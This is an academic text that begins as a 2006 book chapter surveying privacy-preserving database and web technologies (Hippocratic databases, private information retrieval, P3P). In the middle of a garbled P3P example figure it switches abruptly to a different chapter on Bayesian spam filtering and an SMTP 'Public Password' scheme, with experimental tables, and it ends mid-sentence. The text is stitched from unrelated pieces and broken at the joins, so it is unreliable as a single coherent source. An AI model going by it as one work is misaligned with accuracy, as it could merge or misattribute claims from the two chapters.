Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

Privacy Preserving Third-party Architectures a

Barbara Carminati a , Elena Ferrari a,1 University of Insubria at Como, Via Valleggio, 11 - 22100 Como - Italy

Abstract. The progressively relevance that each organization and company is giving to user’s privacy has increased the need of devising comprehensive privacypreserving solutions able to take into account different privacy concerns. The advent of the web has further exacerbated the problem of privacy protection and the need of privacy-preserving techniques. Indeed, the growing attention to privacy issues has resulted in many proposals for privacy preserving techniques, some of which are overviewed in this chapter. However, no efﬁcient solution for a privacypreserving distribution of data over the web has still emerged. For this reason, in this chapter, we propose a solution based on third-party architecture for efﬁciently manage personal data over the web. Main beneﬁts of the proposed system are its scalability, in terms of number of users and amount of data, the compliance with emerging web standards, and the enforcement of different privacy requirements of data owners.

1. Introduction Privacy is a state or condition of limited access to a person [6]. In the information technology era, privacy refers to the right of users to conceal their personal information and have some degree of control over the use of any personal information disclosed to others [12]. The advent of the web has exacerbated the problem of privacy protection and the need of privacy-preserving techniques. On the one hand there is an increasing need of sharing personal information over the web (for instance for marketing or statistical purpose). On the other, there is an increasing need of selectively disclosing personal information in that a user should be ensured that his/her personal data are only released according to the speciﬁed privacy policies. The growing attention to privacy issues has resulted in many proposals for privacy preserving techniques (some of them are discussed in Section 2). In the context of web, one of the most relevant result is represented by the P3P standard [26] and the related technologies. When accessing a web site, a user should set his/her P3P-enabled browser with his/her privacy preferences, and, before interacting with a web site, verify the compatibility between web site’s privacy practices and his/her preferences. This solution relies on the traditional client-server interaction between a user, requesting some services, and a service provider (see Figure 1(a)). In this chapter we focus on an alternative and 1 E-mail:

{barbara.carminati, elena.ferrari}@uninsubria.it

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

DBMS Server

85

Data

Outsourced db

Internet Internet

Service Provider /Publisher

Data owner Results Queries

Client (a)

(b)

Client

Figure 1. Two-party architecture (a) vs. third-party architecture (b)

innovative way of managing personal data over the web, which relies on a third party architecture. Third-party information dissemination represents today an interesting paradigm for data-intensive web-based applications in a large variety of contexts, from grid computing to web services or P2P systems. Relevant applications include large-scale federated Digital Libraries, e-commerce catalogs, e-learning, collaborative applications, content distribution networks. A third-party architecture relies on a distinction between the Owner and the Publisher of information. The Owner is the producer of information, whereas Publisher provides data management services and query processing functions for (a portion of) the Owner’s information. The idea of third-party architectures (cfr. Figure 1(b)) is that the information owner (i.e., user) outsources all or portions of his/her data to one or more publishers (in what follows referred to as collectors) that provide data management services and query processing functions. Main beneﬁts of the third party paradigm are scalability, reduction of costs, and efﬁciency. The owner is leveraged by the burden of answering queries, that are instead managed by a set of collectors spread all over the world, and thus it cannot become a bottleneck for the whole system. The cost of data management is amortized across several users and this results in a reduction of the overall cost. Additionally, collectors can be equipped with sophisticated anti-intrusion tools and techniques to avoid queries ﬂoods [3], thus preventing resource waste and security breaches. Exploiting a third party architecture for managing personal data over the web implies that an user is no more in charge of interacting with each service provider for the release of his/her personal data. If a web user makes use of such a system for personal data management he/she can delegate the management of his/her personal data to one or more collectors, to which he/she subscribes only once. Then, each time he/she is required to submit his/her personal data to a web site, he/she simply informs the web site of who is the collector(s) entitled to manage them. The web site can then require the needed data to the collector without the need of interacting with the user. Clearly, the release of personal information by collectors should be controlled, in the sense that it should take place according to the privacy preferences of the data owner. As such ad-hoc techniques should be designed to ensure that this requirement is satisﬁed. A naive solution to this problem is that of requiring collectors to be trusted, that is, to assume that a collector always operates according to the privacy policies stated by data owners. However, this is not a realistic assumption in the web environment because

86

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

web servers can easily be attacked and penetrated. The challenge is therefore how to enforce privacy preferences stated by the owner (i.e., web user) without relying on trusted collectors. In this chapter, after reviewing the main research proposal related to privacy enhancing technologies we propose a framework for a privacy-preserving third party architecture, which does not rely on the existence of trusted collectors. Main beneﬁts of the proposed framework are its ability to protect the owner privacy both with respect to collectors and requestors, the ease of use even by users with little background on privacy-related technologies and the compliance with emerging web standards.

2. Survey on privacy technologies The progressively relevance that organizations and companies are giving to user’s privacy has pointed out the need of devising comprehensive privacy-preserving solutions able to take into account different privacy concerns. With this aim, research communities of different areas (e.g., DBMSs, networks, operating systems) have made a great effort with the result of several privacy-preserving approaches. In the following, we mainly focus on privacy solutions devised in the databases and web area, since they are the most related to the focus of this chapter. We ﬁrst consider solutions mainly designed to preserve privacy in DBMSs, then, we focus on techniques to address privacy issues over the web. 2.1. Privacy in DBMSs In each organization/industry willing to enhance its businesses with privacy-preserving solutions, privacy issues related to DBMSs cover a major role. Indeed, since DBMSs are the main component managing user’s personal data, privacy in this context has been deeply investigated, with the result of several approaches and techniques. Before discussing the major efforts carried out in the DBMS area, it is better to clarify which are the privacy issues that need to be investigated in this context. In doing that we refer to the common interactions that users have with a DBMS: • Users delegate data management to DBMSs. However, users want to be ensured that their personal data are handled and accessed according to their privacy preferences. For instance, they want to be sure that data are only used for the claimed purpose, or that data are not transferred outside the DBMS, and so on. • There are privacy concerns also related to query processing. Indeed, users submitting a query to a DBMS may not want the DBMS to know the details of the query, being at the same time able to process it. This is the case, for instance, of a broker inquiring a stock-market database for ﬁnancial analysis purposes. He/she deﬁnitely prefers to keep secret the stocks on which he/she is performing a query, since this can give information on the types of investments the broker is going to perform. • Other privacy issues are related to statistical databases. In such a context, there is often the case that data mining techniques are used. Therefore, there is the need of protecting personally identiﬁable data, while performing data mining operations. In these last years, all these issues have been deeply investigated. In the following, we present some of the most relevant efforts towards privacy-preserving solutions

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

87

for each of the above-mentioned issue. More precisely, we overview the IBM Hippocratic database, as an example of solution for protecting user private information inside databases, the Private Information Retrieval (PIR) protocol, to address privacy issues in query processing. Finally, we review some of the most relevant approaches for privacypreserving data mining. 2.1.1. IBM Hippocratic database The IBM Hippocratic [1] project is inspired by privacy principle of the Hippocratic Oath regulating the doctor-patient relationships. The main goal of the project is to design a DBMS architecture having privacy as a central concern. Pursuing this goal, the Hippocratic database has been designed having in mind the following main privacy principles: • Purpose Speciﬁcation. The purposes for which data has been collected shall be associated with the data. • Limited Use/Disclosure. The data shall be processed according to the corresponding purpose. Thus, the database shall run queries consistent with data’s purpose. The database shall not release data for a purpose different from the one for which the data have been collected. • Limited Retention. Database shall retain data only for the period necessary for the achievement of the purposes for which the data have been collected. • Openness/Compliance. A user shall be able to access all his/her information stored in the database, and to verify compliance with the above principles. To ensure the above-mentioned principles, the Hippocratic database architecture allows a user to specify his/her privacy preferences for information access and usage, and to check them against the organization’s privacy policies. More precisely, before a user provides his/her data to the Hippocratic database, he/she checks whether the organization’ privacy policies do not violate his/her privacy preferences. If this is the case, the user submits his/her data, to be stored into the database. The user also submits a special information, called purpose, which encodes the possible purposes according to which his/her data can be processed. Possible purpose values are, for instance, "purchase", and "registration". The purpose component plays a key role. By associating purpose(s) to his/her personal data, the user is able to limit their access and usage to all and only the processes (i.e., queries) related to the claimed purpose. However, further information is needed to manage in a privacy-preserving way personal data. Therefore, in addition to the purpose attribute, a user also speciﬁes the external-recipients attribute, i.e., information about outsiders to which the data can be distributed, the retention-period, i.e., how long data can be retained in the database (once the period is expired, the Hippocratic database automatically deletes the data), and authorized-users, that is, the set of users that can access the data. The Hippocratic database then requires that all queries are submitted together with their intended purposes. During query processing, the query’s purpose is matched against the purposes of the data answering the query, and the requestor is returned only the data whose purpose matches. Moreover, before the query is processed, the Hippocratic database veriﬁes whether the requestor is an authorized user, that is, an user speciﬁed into the authorized-users component. The Hippocratic database encodes privacy policies by a privacy language called Enterprise Privacy Authorization Language (EPAL) [13]. The goal behind EPAL is to en-

88

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

able an organization/industry/enterprise to encode its privacy-related data-handling policies and practices in a standard-based markup language (i.e., XML) to facilitate privacy enforcement. EPAL syntax has been designed by enhancing traditional access control rules languages with the following information: data categories, user groups, purposes, actions, obligations, and conditions. Data categories represent an high-level classiﬁcation of data, used to deﬁne different categories of collected data that are differently handled from a privacy perspective, such as ﬁnancial data, customer contact information, or medical records. User-groups describe users or groups accessing collected data from a privacy perspective, such as investors, employees, or employee groups. Purposes are used to model the intent for which data are used, such as investments, or marketing. Through the actions component, EPAL rules describe privacy-relevant actions allowed on data. Obligations are used to deﬁne actions that must be taken by organization, such as "All accesses against a certain type of data for a given purpose must be logged". By contrast, the conditions components state possible constraints on which an authorization can depend on. 2.1.2. Private Information Retrieval Another key aspect when protecting user’s privacy in DBMSs is related to query submission. This is a very relevant topic, if we consider that by tracking user’s queries, a database server could infer information about user preferences. Moreover, the database could contain sensitive information, whose request itself represents a sensitive information. The trivial solution to this problem is to make the user able to download the whole database and locally and privately execute his/her queries. This solution obviously is impracticable, in that it implies an high communication overhead. One of the most relevant attempts to solve such problem in a more efﬁcient way is represented by Private Information Retrieval protocols (PIR, for short) ﬁrstly introduced in [7], whose goal is that of retrieving information from a database by keeping the submitted queries secret. To clarify how PIR protocols work we introduce the problem formulation stated by Chor et al. [9]. A database is modeled as a binary string X =x1 ,. . .,xn of length n (i.e., a database having n entries, where each entry is a single bit). Identical copies of this string are stored into k > 2 non communicating database servers. Thus, given an index i, if a user wishes to retrieve the i-th bit, i.e., xi , he/she queries each of the servers by submitting to each of them a set of different queries that are distributed independently of i, thus to make the server not able to infer the value associated with index i. In general, solutions of such a kind are called a Private Information Retrieval (PIR) scheme. Thus, the underling idea of PIR protocols is to replicate the database, by imposing that users submit different queries to each different server. Queries are deﬁned in such a way that by combing the servers’ answers the user is able to obtain the desired information, whereas by analyzing the submitted query each server can not infer what the user is really interested in. Let us √consider, √ for instance, the PIR schema presented in [7], which views the database as a n × n bit array1 . It exploits the properties of the XOR operator for query formulation. Consider, for simplicity, the case of k=4 servers. √ If a user wants to retrieve the bit xi1 ,i2 , he/she generates two strings σ, τ ∈ {0, 1} n , and computes two additional strings such that σ = σ ⊕ i1 and τ = τ ⊕ i2 .2 The user, 1 Indexes

are represented as ordered pairs (i1 ,i2 ). that according to the properties of the XOR operator, if σ is a string and i < |σ| then σ ⊕ i is the string σ with the i-th bit ﬂipped. 2 Note

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

89

then, sends two different strings to each database: DB1 receives σ, τ ; DB2 receives σ, τ ; DB3 receives σ , τ ; DB4 receives σ , τ . Once received the four bits as answers from databases, the user XORs them, obtaining xi1 ,i2 , since this is the only bit that appears an odd number of times in the received answers. In the last years, several PIR schemes have been deﬁned, aiming to reduce the communication overhead or relax some of the hypothesis stated in the above problem formulation. For instance, in [8,15] an extension has been proposed, where the database record is a block of several bits, rather than one bit only. A PIR solution relying on a single database has been proposed in [16]. Solutions for single database have been also proposed under the assumption of exploiting tamper-proof devices [20,21]. Another interesting extension to PIR protocols is to consider also the privacy of the database, by preventing user from learning more than the asked records (bits) from the database during a session. These protocols, called Symmetrical PIR, have been studied both for single server [16] and for several servers [18]. 2.1.3. Privacy preserving data mining It is often the case that databases containing large amounts of personal records are examined by analytic and statistical tools for discovering valuable and non-obvious information. Indeed, nowadays both private and public organizations exploit data mining algorithms and knowledge discovery techniques for discovering new patterns and possible trends to be used for disparate goals, for instance in business or research areas like medical analysis. Obviously, also in this context there exist relevant privacy concerns. Let us consider, for example, the healthcare scenario. We can easily ﬁgure out several interesting and necessary data mining analysis that could be very relevant in real situations, like for example, a study for detecting possible public health problems outbreaks. However, given the sensitivity of personal information related to health, it is also easy to identify different privacy concerns that an individual could have in authorizing the access to his/her data even for medical analysis purpose (see HIPAA privacy rules [22]). The individual, for instance, could prefer not to share some of his/her personal health information (i.e., admissions in mental hospitals), and/or to be ensured that from the released information it is not possible to go back to his/her identity. From previous examples, we can point out two main privacy concerns [10] that should be considered in privacypreserving data mining processes: ﬁrst there is the need to hide raw personal information (like identiﬁers, names, etc.), which can directly compromise individual privacy; second there is the need to verify whether from a data mining analysis one is able to infer sensitive knowledge compromising individual privacy. The main goal of privacy-preserving data mining techniques is therefore to investigate how and whether it is possible to alter the original data in such a way that for the mining process it is still possible to obtain valid information, without revealing, at the same time, personal identiﬁable data and sensitive knowledge. Given the relevance of the topic, privacy preserving techniques for data mining processes have been deeply investigated with the result of several new approaches, which differ in several ways. As an example, a key feature of privacy preserving data mining algorithms is the exploited schema for modifying raw data to be released. Possible data modiﬁcation schemes are, for instance, perturbation, where an attribute value is replaced with a new one; blocking, which replaces an existing attribute value with a "?"; aggregation, where several values are merged into a coarser category; swapping, that is, the

90

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

interchange of values of individual records; and sampling, which imposes the release of data for only a sample of a population. Another relevant feature characterizing different privacy preserving data mining approaches is the privacy preserving technique used for the selective modiﬁcation of data. There could be for instance heuristic-based privacy preserving techniques, cryptography-based (like secure multiparty computation [17,19]), and reconstruction-based techniques, where modiﬁcation of the data is deﬁned in such a way that it is still possible to reconstruct the original data from perturbed ones. We refer the interested reader to [23] for a detailed survey on privacy preserving data mining. 2.2. Privacy on the web Today Internet is one of the most exploited communication links. To have an idea of the privacy issues arising in this scenario, we need just to think about some of the services that we use everyday. These are, for instance, email services, telnet-based tools, instant messaging services, voice over IP services, web e-commerce transactions, or simple web surﬁng. All these actions could be a threat to user’s privacy. For instance, a user could have some concerns about the capability of web sites of tracking and monitoring his/her accesses, or to be identiﬁed (i.e., name and address) while he/she uses some services (like, for instance, forum, chatrooms, and so on). All these privacy issues can be referred to as anonymity concerns. By contrast, others relevant privacy issues in the web are most related to how and for which purpose the collected personal data are used by a web site. In this respect, a great effort has been done by the W3C consortium that proposed a standard way to represent organizations’ privacy practices (i.e., P3P [26]) and user’s privacy preferences (i.e., APPEL [24]). This has made possible to automatically verify how and for which purpose web sites will process user’s personal data. In the next sections, we introduce some preliminary concepts on P3P and APPEL, since they represent the emerging standards for privacy practises representation on the web [11]. 2.2.1. P3P P3P policies make a web site able to specify its privacy practices in a standard format. Having privacy practices in a standard format makes them easily and automatically interpretable by user agents, which are thus able to match the privacy practises of a web site against the user’s privacy preferences to determine whether the web site respects the user’s privacy. In general, a P3P policy supplies information about the legal entity issuing the policy, the data the web site will collect, and how it will use them. Moreover, the P3P syntax makes a web site able to specify who are data recipients, and how long they will retain that data. Indeed, to make a P3P policy able to model a more complex privacy practice, the P3P syntax supports also the speciﬁcation of a variety of other relevant information, such as for instance who is in charge of dispute resolution. Consider, for instance, the P3P policy presented in Figure 2. It supplies information about the entity issuing that policy (i.e., the ENTITY element). Moreover, it contains a statement stating that the AnotherWebSite organization collects user information (i.e., the DATA-GROUP element) only for developing and administrative purposes (i.e., the PURPOSE element), and that it does not redistribute them to other parties (i.e., the RECIPIENT element).

B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures

91

<ENTITY> AnotherWebSite Como CO 22100 ITALY [email protected] <STATEMENT> <develop/>

Individual : MARKKETING Couples of the First Neighbor on the Left: (YOUR, DOLLARS!) (DOLLARS! ,

) ...

Couples of the First Neighbor on the Right: (MAXMIZE, YOUR) (YOUR, DOLLARS! )…

Triples on the Left: (YOUR, DOLLARS!,

) ,(MAXIMIZE, YOUR , DOLLARS!)

Triples on the Right: (MAXIMIZE, YOUR, DOLLARS!), (font color = "#44C300" size ="+2">, YOUR, DOLLARS!)

Figure 3.1- Example of parsing the email to couples and triples (markketing is intentionally misspelled)

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

159

Figure 3.1 shows how misspelling words indicate that email is likely spam. Misspelled words receive a higher probability of “spaminess” respect to the appropriately spelled ones. Our filter takes into account the word itself and its neighbors to determine the corresponding spaminess. The following example shows how misspelling the words backfires the spammer. The spaminess of the word “Markkeing” is higher where it is misspelled.

First we find the related probability from the training corpus using the Bayesian approach. To obtain this information we build the tables of couples and triples only for the emailWords whose probability is greater than 0.99 or less than 0.1 (in order to avoid false positives). In a new email, up to 50% of couples and 80% of triples of emailWords could turn out to occur for the first time. Therefore, there are not taken into account by our anti-spam algorithm (the smaller remaining portion works fine and it gives sufficient accuracy). Finally when you have the individual, double and triple probabilities we combine them to obtain a measure to verify whether an email is a spam or not. In order to calculate the final probabilities for each emailWord, first we need to combine the probabilities of triples and couples. For instance, the probability P’couple(e) for each couple is calculated considering also the probability Pcouple(e) which was previously obtained by the Bayesian approach (Eq.4): (s * t) + (n * Pcouple(e)) Eq. (4)

P’couple(e) = s+n

where: •

s is the strength (from 1 to a maximum value) we want to give to triples probabilities;

•

t is our background probability, obtained by combining triple probabilities;

•

n is the number of e-mails we have received which contain e.

In a similar manner, we combine the probability of couples to calculate the probability of each emailWord; then we combine the probability of the emailWords to find whether the email is a spam or not. There are different approaches to combine these probabilities. A simple and effective option is to add the probabilities and then experimentally scale the result between zero and one. To normalise this number in the range of 0-1 in order to get a more accurate result, we can use the Fisher’s theorem [9]. Every emailWord, couple or triple in an email contributes, through its P(e) value. We suppose that they are independent estimations of how likely the email is a spam. We should notice that by couples and triples we have already taken into account their correlation. Therefore assuming them as independent estimates, does not hurt the above assumption. This is like considering sentences of a text independently from each other. Basically Fisher says that if one has a number k of independent estimates of probability, and the null hypothesis (k values are pure chances) is true, then the sum of natural logarithms of the k estimates multiplying by -2 will be distributed as chisquared with 2k degrees of freedom. We use our P(e) values to calculate the sum with twice the number of our selected emailWords as the degrees of freedom. Applying an inverse chi-squared (prbx) function gives us the probability that a email is a spam (Q indicator). We also use the opposite probabilities (1 – P(e)) to calculate in a similar way that a message is nonspam (P indicator). Finally, the value obtained by the previous calculations indicates whether an email is a spam or not (S indicator). This is illustrated in Eq.5:

Eq. (5)

P = prbx(-2 * sum(ln(1-P(e))), 2*n) Q = prbx(-2 * sum(ln(P(e))), 2*n) S = (1 + Q - P) / 2

160

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

3.2 SMTP Modification The main objective of a spam filter is classifying received emails. What makes spam email classification complex is that messages arrive in any order and at any time, and moreover spam usually carries the indication of legitimate emails. Spam abuses the SMTP, which is implemented based on RFC 524[11] standards. The early version of RFC 524 has been developed in 1973. The security level in the command set of RFC 524 is not effective enough in order to be used to stop spam and even it provides convenience to spammers. Thanks to Security holes in SMTP spammers can easily forge email headers, hide behind different sender names and make it quite impossible to track down the real sender of massive bulk messages. Since the problem has emerged, many modifications have been proposed on SMPT procedure to cover the security issues and make it safe and spam free. The problem with new protocol standards is that it needs to be widely implemented in every mail agent to be effective. Unfortunately many systems have already been developed based on the old standards and a modification on old legacy systems is not feasible. Let us illustrate the situation based on existing SMTP model (see Figure 3.2). Emails reach the SMTP receiver in no order at any time. Note that the authorisation is granted to any SMTP sender to deliver messages to a SMPT receiver for any existing local user on the system or ask for relying to another destination if it is possible. Once the user logs into his/her account (this time using another protocol which requires authentication) on the SMTP receiver, normally all the related messages are moved to the user’s machine. The user verifies the emails and may remove the spams and keep the legitimate ones, even among those may remove some and organise the rest into separated folders.

User

File System

SMT P Sender

SMTP Receiver SMTP Commands/ Replies and Mail

File System

Figure 3.2- SMTP Model

What does not sound correct is that messages, unlike the users, do not need any authentication to get to the users’ inbox. Obviously there is a difference between these two accesses, users have the privilege to read and senders can only write. This cannot justify granting the writing privilege to all solicitants. This way the mail server storage space may convert to a public FTP server for spammers and users could start receiving “un-solicitude” emails! We can appreciate senders cannot read what they or others write, but that is not enough (they really do not care if they cannot read what they or the other write) To start spamming, spammers need a “To-List” where they store all spam recipient email addresses. There are different ways for a spammer to obtain such a list: compiling the web pages containing contact information, purchasing it from the web sites with flexible policies, sharing a list with another spammer or simply sending it to all possible account on a specific domain name. The rest of the spamming process is easy: spammers introduce the “To-List” to spamming software to be sent. Depending on the spammer, the software may forge the email header (to keep the spammer anonymous), change the appearance of the words in a way that they still can be read by a person, add a chuck of random words to full around filters or apply any other unknown tricks on the message. Then the prepared spam will be sent to all destinations on the “To-List”. Without a reliable “To-List” spamming is not feasible and all sent messages will be bounced back.

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

161

What we suggest here is embedding a “Public Password” within the application header of email by the sender that will help the end user to classify the message. Although the message still will be received without a Public Password, but it will be classified as un-solicitude email. Public Password in fact is a keyword selected by the user to classify the message at the origin. Depending on different user’s topics of interest, s/he picks up different Public Passwords and distributes them with his email address, even he may keep secret some of them for his/her special contacts. For example: for Bill Gardener (the user of [email protected]) topics of interests are family, work and sport. Respectively, he could choose “TheGardeners”, “BillsOffice” and “BillsGolf” as Public Passwords for each topic and asks the rest of the people to first include the Public Password in the subject of their email following with “@” when they write to him. For this purpose he mentioned this on his visit card, and even on his personal web page and warned them he might not read the messages without a Public Password. Bill writes a small program that parses the subject of the message and depending on the first token before the first “@”, copies the rest of the message to different folders. If no token is found, the message will be copied to a folder called un-solicitude. The same if the same message is sent several times with different Public Passwords. Within the application Bill can assign a certain email address to a folder. Therefore, even if later an email does not include the Public Password or if Bill changes the Public Password, the email still will go to the same folder. The same way he can restrict the other emails to enter that folder even if they contain the Public Password. Bill even may keep secret some of Public passwords for his special contacts! Now Bill’s email address for his family member is TheGardeners@[email protected] and they know they have to include the first token in subject of the email. In the same way, his colleagues know they have to send their emails to theOffice@[email protected] . As topic of interests and Public Passwords differ for each user, it is impossible for the spammer to figure out individual user’s favorite Public Password with crawling web pages. Sending the email to all or some topic of interests does not help either because the same message with different Public Password is discarded. Quite evidently the possibility of a random Public Password to work is zero. Using the Public Password in practice is very simple. The current format, name@domain is extended to include another field which is the Public Password. The new format for the e-mail addresses will then be @@<doamin>. This technique extends the receiving functionality of the mail server as follows: •

The server will contain a list of Public Passwords for every mailbox. The user will have full control over his/her list.

•

The server is provided with an e-mail address parsing functionality so that the name can be extracted from a recipient address which has the format @@<doamin>.

To send an e-mail, the sender needs to know one of the Public Password for the recipient, and add it at the front of the e-mail address followed by the character *. When the mail server receives the e-mail, it will use the new parsing functionality to determine the mailbox the message has been addressed to. Then it will check if the Public Password provided by the sender is in the list of Public Passwords for that recipient. If this is the case, the message will be stored in the server; otherwise the message will be discarded. 3.2.1 Advantages and Improved Performance compared to Email Alias: Email alias and PPW (Public Password recommended by this paper) may seem to be similar, but they are two different techniques to fight spam. PPW comprises far better advantages than email alias: • PPW is a one-time verification system meaning that once a sender has been identified as a legitimate sender or spammer, it is always classified the same way whether it contains a PPW or not. However a user may manually change this classification at anytime. This feature allows the user to remove a PPW and set a new one when being spammed without loosing the legitimate emails sent to the removed PPW. In case some are not aware of the new PPW and send their

162

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

emails to the removed PPW (for the first time), they will receive an auto-reply with the new PPW. Experience has shown that the replies do not get to the spammers because they forge the sender identification in the email header to remain anonymous and cannot be reached. Furthermore processing the auto-replies to extract possible PPW is not practical and makes spamming nonprofitable. Moreover, for higher security measures PPW in auto-reply can be easily encrypted in a picture format which is only readable by a human being. In a similar situation when a user starts receiving spam on an email alias, the solution is to remove the email alias itself. It means no email will be received on the removed alias whether is legitimate or not. Removing an email alias can cause a high rate of false-positive. To illustrate the problem see the following example: Dr. Arthur creates an email alias on his personal email account to communicate with his students. He gives the alias to his fellow students and the communication goes fine for a while until he starts receiving killing spam from this alias email. The solution available via email alias is to remove the alias and possibly create a new one to announce. This is not desired by Dr. Arthur because he has used his email alias over a period of time and he may not be able to let everybody know his email has changed. Still there will be people who may communicate with him through the old contact information. Therefore, removing the email alias will bring a high percentage of false positive and it is not effective. In a similar situation, Dr. Arthur uses a PPW. After receiving a considerable amount of spam, he discards all the spam, removes the PPW, creates a new one and announces it. In this case he is still able to receive emails from senders who ever sent a legitimate email to him whether it contains the new PPW or not. For those senders who are not aware of the PPW change and send an email for the first time with the old PPW, an auto-response is generated with the new PPW in picture format which only can be read by a human being. • Limitations apply to email alias. Normally it is not allowed to use more than three email aliases on an email account. Conflicts with other accounts may occur and, therefore, setting email aliases is due to the approval of the email server. PPW are unlimited and personalized. Due to the structure of PPW, no conflict can occur choosing a specific PPW. Additionally PPW manipulation requires no server processing. • Time-slicing technique offered by PPW cannot be implemented with email alias. Timeslicing enables the user to not only introduce a constant value for PPW but define a format or a function for PPW which varies over a period of time or events. The following example illustrates how a time-slicing technique works in large extents: Company Ώ offers technical support to its customers through an email address. The company receives a considerable number of spams on daily bases and cannot function properly, therefore, the tech support team decides to use timeslicing technique implemented in PPW. They set the new PPW to be [date]@[email protected] where [date] is the date when the email is sent in MMDDYYYY format in Pacific Time. Emails which do not contain actual date or do not carry this format are discarded and an auto-response is generated to warn about the required format. Spamming time-slicing email addresses requires the format function to be extracted from the describing text of each individual email. In spam term (millions of emails) this process – if possible- requires high artificial inelegance and processing power which impose huge costs to spammers and make spamming not profitable. Additionally, the following achievements can be credited to the suggested modifications: •

• •

“To List” elimination: The first achievement is related to the simplicity to parse e-mail address from Web pages. With the proposed approach, the probability for the Public Passwords to be parsed from the content of the page is reduced considerably. Users can easily generate a Public Password to use for registration procedure in unknown net zones Tracing: If spam is received, the original source where the password was originally provided can be identified. This issue is relevant from a legal perspective. Instant spam removal When the user detects that s/he is receiving spam messages, the Public Password causing the problem can be identified and removed from the list.

163

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

• •

Transparency: It is not necessary to modify the sender applications. The sender does not need to be aware of our server extensions. Only the mail server at the receiving side needs to be extended with the new functionality mentioned above. Classification purposes: The Public Passwords can also be used for classification purposes. On an IMAP (Internet Message Access Protocol) server, functionality can be added so that the user can associate each Public Password to a folder. Messages will then be sent to the appropriate folder depending on the Public Password provided by the sender, and to a default folder if the Public Password is not found in the list. On an SMTP based mail server, this modification should be done at the mail client side.

4. Testing and Experimental Results 4.1. Bayesian Filter This section involves the implementation of the statistical approach that was stated earlier. To perform this experiment, we used a test corpus of 3648 non-spam and 3156 spam emails to train the Bayesian filter. The corpus was obtained through the spamassassin[10] and a personal mailbox. These emails were divided into four mailboxes in this order: Mailbox:

Non- Spam

Spam

1

1014

319

2

997

1002

3 4

1133 504

1616 219

Table 4.1 Email Distribution

To avoid biasing the sample population reflects there possible cases where the number of spam is less, equal or bigger than the number of non-spam. Additionally unlike the first three mailboxes, the fourth mailbox has been fed from a personal mailbox. This is useful to indicate how the filter can adapt itself to the individual cases. The experiment was carried out over a corpus of 2224 messages that contained the same number of spam and non-spam. The results are reflected in the tables below. The columns show the number of iterations of training and the numbers of non-spam and spam that were wrongly classified and were therefore used in the next round of training; the right-hand two columns show the same results in percentage. Iteration 0 1 2 3 4 5 6 7

False Positive 3 1 2 1 1 0 0 0

False Negative 73 64 52 40 46 39 35 33

FP Percentage 0.269784173 0.089928058 0.179856115 0.089928058 0.089928058 0 0 0

Table 4.2 Results on the 1st mailbox

FN Percentage 6.564748201 5.755395683 4.676258993 3.597122302 4.136690647 3.507194245 3.147482014 2.967625899

164

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

Graph 4.1 10 Percentage

8 6 4 2 0 0

1

2

3

4

5

6

7

False Positives vs False Negative FP Perrcentage

FN Percentage

Figure 4-1 FP vs. FN 1st Sample

Iteration 0 1 2 3 4 5 6 7

False Positive

False Negative 66 54 49 40 37 41 31 29

5 3 2 2 5 1 0 0

FP Perrcentage 0.449640288 0.269784173 0.179856115 0.179856115 0.449640288 0.089928058 0 0

FN Percentage 5.935251799 4.856115108 4.40647482 3.597122302 3.327338129 3.68705036 2.787769784 2.607913669

Table 4.3 Results on the 2nd mailbox

Percentage

Graph 4.2 7 6 5 4 3 2 1 0 0

1

2

3

4

5

False Positiv es v s False Negativ e FP Perrcentage

FN Percentage

Figure 4-2 FP vs. FN 2nd Sample

6

7

165

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

Iteration

False Positive 0 1 2 3 4 5 6 7

False Negative 53 44 32 30 35 40 31 33

4 3 3 2 3 1 1 1

FP Percentage 0.35971223 0.269784173 0.269784173 0.179856115 0.269784173 0.089928058 0.089928058 0.089928058

FN Percentage 4.76618705 3.956834532 2.877697842 2.697841727 3.147482014 3.597122302 2.787769784 2.967625899

Table 4.4 Results on the 3rd mailbox

Graph 4.3 6 Percentage

5 4 3 2 1 0 0

1

2

3

4

5

6

7

False Positives vs False Negative FP Perrcentage

FN Percentage

Figure 4-3 FP vs. FN 3rd Sample

It can be observed that training on error does not significantly decrease the percentage of false negatives after the Iteration 3. However the false positive rate can be minimized in further iterations. Moreover the distribution of spam and non-spam contributes in the performance of the filter.

Iteration 0 1 2 3 4 5 6 7

False Positive 2 0 0 0 0 0 0 0

False Negative 19 11 6 0 0 0 0 0

FP Percentage 0.492610837 0 0 0 0 0 0 0

Table 4.5 Results on the personal mailbox with a corpus of 812 messages

FN Percentage 4.679802956 2.709359606 1.477832512 0 0 0 0 0

166

S. Shakeri and P. Rosso / Spam Detection and Email Classiﬁcation

Graph 4.3

Percentage

5 4 3 2 1 0 0

1

2

3

4

5

6

7

False Positives vs False Negative FP Perrcentage

FN Percentage

Figure 4-4 FP vs. FN 4th Sample

It can be observed that training on messages that belong to a single mailbox can improve the performance of the filter.

4.2. SMTP Server Modification To perform the experiment on the SMTP modification that we have suggested earlier, we used Java Apache Mail Enterprise Server (JAMES)[12]. This is a mail engine solution written in Java based on currently available open protocols (SMTP, POP3, IMAP and NNTP). There are some classes to be changed in order to make the JAMES server able to pars incoming mail address taking into consideration the @@<domain> format. Simply after receiving an email, JAMES server copies it into the related folder based on PPW field and if it is null, the email goes under un-solicitude folder and a notification will be send to sender to reduce the false positives. Quite evidently, feeding the modified JAMES server with messages who contain the PPW (or not), can classify the emails into folders and separate the un-solicitude ones. The key point using this method is choosing the proper PPW fields to get the highest result. For the people who receive few legitimate emails a day from known senders this technique seems to be fully functional and discards unwanted spams, but for example, a technical support department who receives hundreds of emails per day from various senders, simply setting a couple of PPWs will not work because many emails will be received under the same directory and also tracking the emails are not feasible. In this case setting a particular PPW that expires can resolve the problem. For instance, in the above example the PPW can be set to the 